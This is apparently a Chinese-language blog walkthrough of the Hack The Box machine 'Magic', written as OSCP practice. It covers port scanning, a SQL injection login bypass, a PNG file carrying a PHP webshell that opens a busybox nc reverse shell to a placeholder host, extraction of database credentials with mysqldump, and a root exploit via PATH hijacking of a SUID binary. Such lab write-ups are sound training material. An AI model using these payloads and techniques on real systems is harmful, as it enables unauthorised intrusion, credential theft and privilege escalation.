前陣子打靶機的頻率變低還有都沒寫靶機writeup,加上最近想要多練點PT,一個腦波弱就刷了一年HTB會員了,就當提前準備OSCP。
因此就把OSCP LIKE的box都拿出來打一下。

0x00 Recon

老樣子port直接掃下去

1
2
3
4
5
6
7
8
9
PORT   STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 06d489bf51f7fc0cf9085e9763648dca (RSA)
| 256 11a69298ce3540c729094f6c2d74aa66 (ECDSA)
|_ 256 7105991fa81b14d6038553f8788ecb88 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Magic Portfolio
|_http-server-header: Apache/2.4.29 (Ubuntu)

port 開有點少,我們看到SSH和HTTP,我們先去逛逛網頁

0x01 SQLI

除了一堆圖片,我們會發現有login頁面

但除了這個頁面外網頁也沒什麼特別的

所以這邊就嘗試用sqli萬用密碼

1
2
user: 12122' or 1=1;
pass: hehe

成功登入了,我們會看到一個upload頁面
這時候我們就大概能想到上傳webshell了

0x02 Upload webshell

但如果上傳php他會說
Sorry, only JPG, JPEG & PNG files are allowed.
所以我們要想辦法繞過驗證
這裡可以看這篇
https://book.hacktricks.xyz/pentesting-web/file-upload
接著我們試著上傳file.php.png
發現會出現What are you trying to do there?
那這樣我們試試看把webshell藏在圖片裡

1
2
3
4
5
6
�PNG

IHDRdG<ef]PLTE���������llleeeQQQ�����������滻�������uuu������555���000>>>���KKK|||&&&�������(~h�IDATh����r�0��p��`�VZm��?�AJ�e&]"D��&xw��E��,��}���:�*�<?php exec('busybox nc xx.xx.xx.xx xxxx -e /bin/bash')?>�G����c�L�H������aב�y�
�Q�'�#εg�Vq�7
.��1������X�����p▒�B^�4άF�X�K_��T��vV?��o�-\�{zCDDDDDD^�W�"��ʓ��ch�0����R�29�`7^▒�h24IEND�B`�

上傳後發現成功並可以在/images/uploads/找到檔案
因此推測是會去檢查檔案的Magic Number
並且進去後可以確定收到reverseshell

0x03 user.txt

進去主機後我們先生一個pty一下

1
python3 -c "import pty;pty.spawn('/bin/bash')"

之後我們會發現我們是www-data
那我們cat /etc/passwd看看有沒有其他用戶
發現有

1
theseus:x:1000:1000:Theseus,,,:/home/theseus:/bin/bash

接著根據我們剛剛有登入東西,所以推測有mysql
我們先到網頁資料夾下偷資料庫密碼
在db.php5裡有

1
2
3
4
5
private static $dbName = 'Magic' ;
private static $dbHost = 'localhost' ;
private static $dbUsername = 'theseus';
private static $dbUserPassword = 'iaxxxxxxxxxs';

但我們拿這個去su theseus會失敗
那只能去mysql看一下了

1
2
3
4
5
6
7
8
9
10
www-data@magic:/var/www/Magic$ mysql -u theseus -p
mysql -u theseus -p

Command 'mysql' not found, but can be installed with:

apt install mysql-client-core-5.7
apt install mariadb-client-core-10.1

Ask your administrator to install one of them.

這時候出事了沒mysql
但別慌,測一下還有mysqldump我們可以用mysqldump來看看

1
2
mysqldump -u theseus -p Magic

發現有這段

1
2
3
4
/*!40000 ALTER TABLE `login` DISABLE KEYS */;
INSERT INTO `login` VALUES (1,'admin','Txxxxxxxxxg');
/*!40000 ALTER TABLE `login` ENABLE KEYS */;

拿去登登看會發現成功登入
那這樣我們就能到home底下拿到第一個flag了!!

1
2
3
theseus@magic:~$ cat user*
cat user*
cxxxxxxxxxxxxxxxxxxxxxxxxxb

0x04 Privilege Escalation

最後我們需要root
先把linpeas丟過去讓他跑
-rwsr-x— 1 root users 22K Oct 21 2019 /bin/sysinfo (Unknown SUID binary!)
酷東西,直接ida看

在main下能看到他的exec跑的指令是相對路徑的
所以我們可以寫一個假的lshw然後把檔案位置放在$PATH最前面

1
2
3
cat lshw 
#!/bin/bash
/bin/bash

然後

1
export PATH=/home/theseus:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games
1
2
3
4
theseus@magic:~$ /bin/sysinfo 
/bin/sysinfo
====================Hardware Info====================
root@magic:~#

成功root,我們可以到/root下拿到flag!!